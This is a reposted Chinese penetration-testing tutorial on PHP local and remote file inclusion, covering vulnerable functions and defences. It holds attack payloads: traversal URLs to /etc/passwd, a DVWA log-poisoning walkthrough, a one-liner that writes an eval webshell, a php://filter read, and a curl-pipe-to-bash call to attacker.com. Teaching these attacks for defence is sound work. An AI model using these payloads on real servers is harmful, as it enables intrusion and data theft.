渗透测试之文件包含漏洞 超详细的文件包含漏洞文章

目录

说明

通常分为两种类型:

本地文件包含

典型的攻击方式1:

影响:

典型的攻击方式2:

包含路径解释:

日志包含漏洞:

操作原理

包含漏洞读取文件 

文件包含漏洞远程代码执行漏洞:

远程文件包含

典型的攻击方式:

影响:

文件包含漏洞的根本原因

语言包含漏洞

PHP文件包含漏洞函数

文件包含漏洞相关的常见 PHP 函数

1. include() 和 require()

2. include_once() 和 require_once()

3. fopen() 和 fread()

4. file_get_contents()

5. readfile()

6. highlight_file()

7. fpassthru()

总结

防御措施

输入验证与过滤:

禁用远程文件包含:

使用绝对路径:

文件包含路径限制:

日志记录与监控:

代码审计与渗透测试:

总结

说明

文件包含漏洞(File Inclusion Vulnerability)是一种常见的Web安全漏洞,它允许攻击者通过修改文件路径,包含服务器上未经授权的文件,可能导致敏感信息泄露、代码执行或服务器被入侵。根据文件包含的行为

通常分为两种类型:

  • 本地文件包含(LFI)
  • 远程文件包含(RFI)

本地文件包含

  • LFI 是指攻击者能够包含和执行服务器本地文件系统中的文件

攻击者通过修改程序中的文件路径参数,访问并读取本地文件(如配置文件、日志文件、甚至敏感的系统文件),有时也能执行恶意文件。

典型的攻击方式1:

  • 攻击者通过修改 URL 参数来试图包含本地文件
  • 例如:
http://example.com/index.php?page=../../../../etc/passwd
  • 在这个例子中

攻击者试图通过“../../../../etc/passwd”来访问服务器上的 /etc/passwd 文件(Unix/Linux 系统中的一个存储用户账户信息的文件)。

影响:

  • 信息泄露:攻击者能够查看服务器上的敏感文件(如配置文件、日志文件、密码文件等)。
  • 路径遍历攻击:攻击者可以通过构造特殊的路径,访问并查看不应公开的文件。
  • 恶意文件执行:如果不当配置或存在缺陷,攻击者甚至可以包含可执行文件进行代码执行。

典型的攻击方式2:

  • 用户输入控制: 应用程序允许用户通过URL参数或其他输入来指定文件路径。例如:
<?php
include($_GET['page']);
?>

这种代码会根据用户传入的page参数来包含文件。

包含路径解释:

  1. 绝对路径包含

  2. 相对路径包含

  3. 文件穿越漏洞

  4. 包含一些图片吗进行控制 包含敏感文件读取出来

  5. 远程文件包包含,另外一个网站 得文件,其它网站得文件包含进来。

  6. 直接引用别人得网站得图片 前提是看别人开启了相关参数没。


日志包含漏洞:

  • 日志包含漏洞是指攻击者通过注入恶意内容到日志文件中,可能会破坏日志文件的完整性,或通过日志文件将恶意代码执行。
  • 攻击者可以伪造日志,或在日志中插入恶意的HTTP头、SQL注入等攻击代码,进而进行进一步的攻击。

操作原理

  1. 当某个PHP文件存在本地包含漏洞,而却无法上传正常文件.

  2. 这就意味着有包含漏洞却不能拿来利用,这时攻击者就有可能会利用apache日志文件来入侵.

    1. Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志)。

    2. apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中

    3. 前提开启了日志记录功能 apache 其实还是需要指纹收集收到日志目录的位置

    4. 其实这种方式就是把木马直接写入到日志文件中.

    5. 在访问网站得时候 加入木马程序 也就是在访问程序得时候加入一句话木马相关程序 这样就会写入到程序中去了

    6. 蚁箭 冰蝎 连接程序 Winwos程序中都有一句话木马程序 连接

    7. http://192.168.1.9/dvwa/vulnerabilities/fi/?page=../../../../Apache\logs\access.log 写入后再访问 就可以通过日志进行访问

  • 1浏览器日志 记录可能会编译成url编码

  • 2通过抓包 也就会变成正常得编码记录到日志 然后访问日志目录就可以进入文件包含漏洞进行入侵。

  • 记录下php得一句话木马程序写法
  • 写入一句话木马 通过蚁箭连接不上 换个方式写入php一句话木马
  • <?php $file=fopen('jaden.php','w');fputs($file,'<?php @eval($_POST[666]);?>');?>
  • 数据存在于存在与执行得目录中 jaden.php
  • 问题: 我们在实际操作得时候 如何确定日志是空 如何找到对应日志目录 指纹收集


包含漏洞读取文件 

读取php文件 包含就能读取:

  • 采用得是file:///协议

  • 读取php文件不想执行

  • Php:/// 读取文件 指定php协议来读取协议

    • http://192.168.1.9/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file4.php

    • 以base64得数据格式进行读取出来

  • 通过文件包含漏洞利用 file:// 伪协议读取文件是一种常见的攻击手段,特别是当Web应用程序允许通过用户输入指定文件路径时。
  • 攻击者可以利用这种方式绕过某些安全控制,从而读取本地文件(例如 /etc/passwd 或其他敏感文件),或者执行路径遍历攻击来获取服务器上的敏感信息。
  • file:///etc/passwd

文件包含漏洞远程代码执行漏洞:

  • 文件包含漏洞(File Inclusion Vulnerability)如果结合远程文件包含(Remote File Inclusion, RFI)和不当的配置或攻击者操控的输入
  • 可能导致远程代码执行漏洞(Remote Code Execution, RCE)
  • 在这种情况下,攻击者不仅能读取文件,还能执行恶意代码,导致严重的安全问题。
  • 服务端存在包含漏洞

  • 也就是通过include(php://input) 进行执行而不是用文件进行执行

  • 执行得命令

  • Php://input 执行过程

<?php
system('curl -s http://attacker.com/malicious_script.sh | bash');
?>


远程文件包含

  • RFI 是指攻击者能够通过包含远程的恶意文件来攻击网站

通常情况下,RFI 涉及到文件路径中包含 URL,允许攻击者从外部服务器加载并执行恶意脚本。


典型的攻击方式:

  • 攻击者通过修改 URL 中的参数,将远程服务器上的恶意文件包含到服务器中:
http://example.com/index.php?page=http://evil.com/malicious_script.php
  • 在这个例子中
  • 攻击者试图加载并执行远程服务器上的 malicious_script.php 文件
  • 可能执行恶意操作,比如执行反向 shell、窃取数据、或劫持服务器
    • 比如说我们本地搭建了一个程序 编写了一个webshell,然后通过远程文件包含漏洞访问本地搭建的服务中的webshell文件,实现对肉鸡的控制。

影响:

  • 远程代码执行:攻击者能够远程执行恶意代码,这可能导致服务器完全被控制。
  • 网站篡改:攻击者可能通过上传恶意脚本,篡改网站内容或窃取用户信息。
  • 数据泄露:攻击者可通过包含恶意文件窃取数据库连接信息或其他敏感数据。

文件包含漏洞的根本原因

  1. 用户输入未严格验证:文件路径参数或 URL 没有经过充分的验证和过滤,允许攻击者修改路径。
  2. 不当的文件处理逻辑:代码未对文件包含操作进行适当的权限控制或路径限制,导致攻击者能够访问和执行敏感文件。
  3. 缺乏安全配置:服务器未启用适当的配置,例如禁止远程文件包含(RFI),或没有禁用危险函数(如 include, require, fopen 等)。

语言包含漏洞

  • 包含操作,在大多数Web语言中都会提供的功能

  • 但PHP对于包含文件所提供的功能太强大,太灵活,所以包含漏洞经常出现在PHP语言中,这也就导致了出现了一个错误现状

  • 很多初学者认为包含漏洞只出现PHP任何语言都会存在文件包含的漏洞.

  • 公共代码封装在专门的文件类中 也就是封装的一个概念 引入其它封装的条件

  • Import-python 也就是代码漏洞

  • 针对不同的语言 比如说 go php java python 也就是对应相关的函数


PHP文件包含漏洞函数

  • PHP 作为一种常用的 Web 编程语言,具有一些常用的函数,这些函数可以导致文件包含漏洞,尤其在没有进行严格的输入验证时。

文件包含漏洞相关的常见 PHP 函数

1. include()require()

功能

  • include()require() 用于将文件引入当前 PHP 文件并执行。
  • include() 在文件不可用时会发出警告(warning)
  • require() 会发出致命错误(fatal error)并停止执行。

安全隐患

include($_GET['page']);
// 如果未进行过滤,攻击者可以传递恶意的文件路径,如 '../../etc/passwd'

如果传入的文件路径(参数)未经过严格验证,攻击者可能利用路径遍历(../../)或者远程文件包含攻击,加载敏感文件或远程恶意文件。


2. include_once()require_once()

功能

  • include()require() 相同,但它们确保文件只会被包含一次,避免重复包含文件导致的错误。

安全隐患

  • 如果传入的文件路径不被验证,攻击者依然可以通过路径遍历或远程文件包含攻击来操控文件包含。

3. fopen()fread()

功能

  • fopen() 打开文件,fread() 读取文件内容,通常用于读取文本或二进制文件内容。

安全隐患

$file = fopen($_GET['file'], "r");  // 如果未验证,攻击者可以操控路径读取文件
  • 如果文件路径未经过验证,攻击者可以读取服务器上的敏感文件或恶意文件。

4. file_get_contents()

功能

file_get_contents() 用于读取文件内容并将其作为字符串返回。

安全隐患

$content = file_get_contents($_GET['file']);

如果参数为用户输入的文件路径或 URL,攻击者可以通过路径遍历或远程文件包含攻击来读取本地或远程恶意文件。


5. readfile()

功能

readfile() 输出文件内容到浏览器,通常用于直接输出文件内容。

安全隐患

readfile($_GET['file']);

攻击者可以通过路径遍历攻击或包含远程文件,输出敏感文件内容或恶意代码。


6. highlight_file()

功能

highlight_file() 输出 PHP 源代码并对其进行语法高亮显示。

安全隐患

highlight_file($_GET['file']);

如果没有限制或验证,攻击者可以通过该函数查看服务器上任意 PHP 文件的源代码,可能泄露敏感信息。


7. fpassthru()

功能

fpassthru() 函数读取并直接输出文件的内容,通常与 fopen() 配合使用。

安全隐患

$file = fopen($_GET['file'], "r");
fpassthru($file);

fread()file_get_contents() 类似,如果文件路径未被验证,攻击者可以利用该函数读取并输出敏感文件内容。


总结

PHP 中的文件包含函数(如 include()require()fopen() 等)是文件包含漏洞的核心来源,尤其在未严格验证用户输入时,容易导致路径遍历、远程文件包含(RFI)或本地文件包含(LFI)攻击。防御这种漏洞的关键是:

  • 严格控制文件路径参数的来源和内容;
  • 禁用不必要的功能(如远程文件包含);
  • 采用绝对路径、白名单、权限控制等手段限制文件的访问范围。

防御措施

  1. 输入验证与过滤

    • 对所有用户输入的文件路径参数进行严格的过滤和验证,拒绝任何可能导致路径遍历(如 ../)的输入。
    • 使用白名单机制,限制只能包含特定目录下的文件。
  2. 禁用远程文件包含

    • 在 PHP 中,禁用 allow_url_includeallow_url_fopen,防止包含远程文件。
    • 设置 open_basedir,限制 PHP 程序只能访问特定目录下的文件。
  3. 使用绝对路径

    • 避免使用用户提供的路径参数来构建文件路径。尽量使用固定的路径或基于配置的安全路径。
  4. 文件包含路径限制

    • 使用 basename() 或类似的函数确保包含的文件不会遍历目录结构。
    • 对于包含的文件,最好限定在特定的目录内,避免通过路径构造访问任意文件。
  5. 日志记录与监控

    • 配置 Web 服务器和应用程序进行日志记录,监控异常的文件包含请求。
    • 设置警报机制,及时发现潜在的文件包含攻击。
  6. 代码审计与渗透测试

    • 定期进行代码审计,检查可能存在文件包含漏洞的地方。
    • 使用自动化工具进行渗透测试,模拟文件包含攻击,查找漏洞。

总结

文件包含漏洞是一个相对常见且危险的安全问题,尤其在动态网页系统中,由于代码没有对外部输入进行有效的验证,攻击者可以通过文件包含漏洞来执行恶意代码或泄露敏感数据。防御这种漏洞的关键在于对用户输入的严格验证、文件路径的严格控制以及远程文件包含的禁用。


喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/12401.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

蓝桥杯更小的数(区间DP)

题目描述 小蓝有一个长度均为 n 且仅由数字字符 0 ∼ 9 组成的字符串&#xff0c;下标从 0 到 n − 1&#xff0c;你可以将其视作是一个具有 n 位的十进制数字 num&#xff0c;小蓝可以从 num 中选出一段连续的子串并将子串进行反转&#xff0c;最多反转一次。小蓝想要将选出的…

洛谷 P1387 最大正方形 C语言

题目描述 在一个 n m 的只包含 0 和 1 的矩阵里找出一个不包含 0 的最大正方形&#xff0c;输出边长。 输入格式 输入文件第一行为两个整数 n, m (1 ≤ n, m ≤ 100)&#xff0c;接下来 n 行&#xff0c;每行 m 个数字&#xff0c;用空格隔开&#xff0c;0 或 1。 输出格式 …

算法与数据结构(括号匹配问题)

思路 从题干可以看出&#xff0c;只要给出的括号对应关系正确&#xff0c;那么就可以返回true,否则返回false。这个题可以使用栈来解决 解题过程 首先从第一个字符开始遍历&#xff0c;如果是括号的左边&#xff08;‘&#xff08;‘&#xff0c;’[‘&#xff0c;’}‘&…

硬件产品经理:需求引力模型(DGM)

目录 1、DGM 模型简介 2、理论核心&#xff1a;打破传统线性逻辑 3、三大定律 第一定律&#xff1a;暗物质需求法则 第二定律&#xff1a;引力井效应 第三定律&#xff1a;熵减增长律 4、落地工具包 工具1&#xff1a;需求密度热力图 工具3&#xff1a;摩擦力歼灭清单…

小书包:让阅读更美的二次开发之作

小书包是在一款知名阅读软件的基础上进行二次开发的产品。在保留原有软件的基本功能和用户体验的同时&#xff0c;对其界面和视觉效果进行了精心美化&#xff0c;让阅读体验更加舒适和愉悦。 内置了171条书源&#xff0c;虽然数量不算多&#xff0c;但都是作者精挑细选出来的&a…

openRv1126 AI算法部署实战之——Tensorflow模型部署实战

在RV1126开发板上部署Tensorflow算法&#xff0c;实时目标检测RTSP传输。视频演示地址 rv1126 yolov5 实时目标检测 rtsp传输_哔哩哔哩_bilibili ​ 一、准备工作 从官网下载tensorflow模型和数据集 手动在线下载&#xff1a; https://github.com/tensorflow/models/b…

蓝桥与力扣刷题(141 环形链表)

题目&#xff1a;给你一个链表的头节点 head &#xff0c;判断链表中是否有环。 如果链表中有某个节点&#xff0c;可以通过连续跟踪 next 指针再次到达&#xff0c;则链表中存在环。 为了表示给定链表中的环&#xff0c;评测系统内部使用整数 pos 来表示链表尾连接到链表中的…

【生成模型之十三】SmartEraser

论文&#xff1a;SmartEraser: Remove Anything from Images using Masked-Region Guidance 代码&#xff1a; https://github.com/longtaojiang/SmartEraser 类型&#xff1a;fine-tuned diffusion model 其他&#xff1a;支持简历修改面试辅导 一、背景 到目前为止&#…

生成式AI安全最佳实践 - 抵御OWASP Top 10攻击 (下)

今天小李哥将开启全新的技术分享系列&#xff0c;为大家介绍生成式AI的安全解决方案设计方法和最佳实践。近年来生成式 AI 安全市场正迅速发展。据IDC预测&#xff0c;到 2025 年全球 AI 安全解决方案市场规模将突破 200 亿美元&#xff0c;年复合增长率超过 30%&#xff0c;而…

生成式AI安全最佳实践 - 抵御OWASP Top 10攻击 (上)

今天小李哥将开启全新的技术分享系列&#xff0c;为大家介绍生成式AI的安全解决方案设计方法和最佳实践。近年来&#xff0c;生成式 AI 安全市场正迅速发展。据 IDC 预测&#xff0c;到 2025 年全球 AI 安全解决方案市场规模将突破 200 亿美元&#xff0c;年复合增长率超过 30%…

mysql运维

1、msyqlLinux通用二进制安装 1. MySQL :: Download MySQL Community Server (Archived Versions)https://downloads.mysql.com/archives/community/https://downloads.mysql.com/archives/community/https://downloads.mysql.com/archives/community/https://downloads.mysql…

蓝桥杯刷题DAY3:Horner 法则 前缀和+差分数组 贪心

所谓刷题&#xff0c;最重要的就是细心 &#x1f4cc; 题目描述 在 X 进制 中&#xff0c;每一数位的进制不固定。例如&#xff1a; 最低位 采用 2 进制&#xff0c;第二位 采用 10 进制&#xff0c;第三位 采用 8 进制&#xff0c; 则 X 进制数 321 的十进制值为&#xff…

使用VCS对Verilog/System Verilog进行单步调试的步骤

Verilog单步调试&#xff1a; System Verilog进行单步调试的步骤如下&#xff1a; 1. 编译设计 使用-debug_all或-debug_pp选项编译设计&#xff0c;生成调试信息。 我的4个文件&#xff1a; 1.led.v module led(input clk,input rst_n,output reg led );reg [7:0] cnt;alwa…

【单层神经网络】softmax回归的从零开始实现(图像分类)

softmax回归 该回归分析为后续的多层感知机做铺垫 基本概念 softmax回归用于离散模型预测&#xff08;分类问题&#xff0c;含标签&#xff09; softmax运算本质上是对网络的多个输出进行了归一化&#xff0c;使结果有一个统一的判断标准&#xff0c;不必纠结为什么要这么算…

Docker使用指南(一)——镜像相关操作详解(实战案例教学,适合小白跟学)

目录 1.镜像名的组成 2.镜像操作相关命令 镜像常用命令总结&#xff1a; 1. docker images 2. docker rmi 3. docker pull 4. docker push 5. docker save 6. docker load 7. docker tag 8. docker build 9. docker history 10. docker inspect 11. docker prune…

【25考研】南开软件考研复试复习重点!

一、复试内容 复试采取现场复试的方式。复试分为笔试、机试和面试三部分。三部分合计100分&#xff0c;其中笔试成绩占30%、机试成绩占30%、面试成绩占40%。 1.笔试&#xff1a;专业综合基础测试 考核方式&#xff1a;闭卷考试&#xff0c;时长为90分钟。 笔试考查内容范围…

Codeforces Round 1002 (Div. 2)(部分题解)

补题链接 A. Milya and Two Arrays 思路&#xff1a;题意还是比较好理解&#xff0c;分析的话我加了一点猜的成分&#xff0c;对a&#xff0c;b数组的种类和相加小于4就不行&#xff0c;蒋老师的乘完后小于等于2也合理。 AC代码&#xff1a; #include <bits/stdc.h> u…

84-《金银花》

金银花 金银花 &#xff0c;正名为忍冬&#xff08;学名&#xff1a;Lonicera japonica Thunb. &#xff09;。“金银花”一名出自《本草纲目》&#xff0c;由于忍冬花初开为白色&#xff0c;后转为黄色&#xff0c;因此得名金银花。药材金银花为忍冬科忍冬属植物忍冬及同属植物…

2000-2020年 儒家文化-儒学中心数据-社科数据

儒家文化-儒学中心数据&#xff08;2000-2020年&#xff09;-社科数据https://download.csdn.net/download/paofuluolijiang/90024739 https://download.csdn.net/download/paofuluolijiang/90024739 儒家文化作为中国传统文化的核心之一&#xff0c;对中国社会的发展产生了深远…

unordered_map/set的哈希封装

【C笔记】unordered_map/set的哈希封装 &#x1f525;个人主页&#xff1a;大白的编程日记 &#x1f525;专栏&#xff1a;C笔记 文章目录 【C笔记】unordered_map/set的哈希封装前言一. 源码及框架分析二.迭代器三.operator[]四.使用哈希表封装unordered_map/set后言 前言 哈…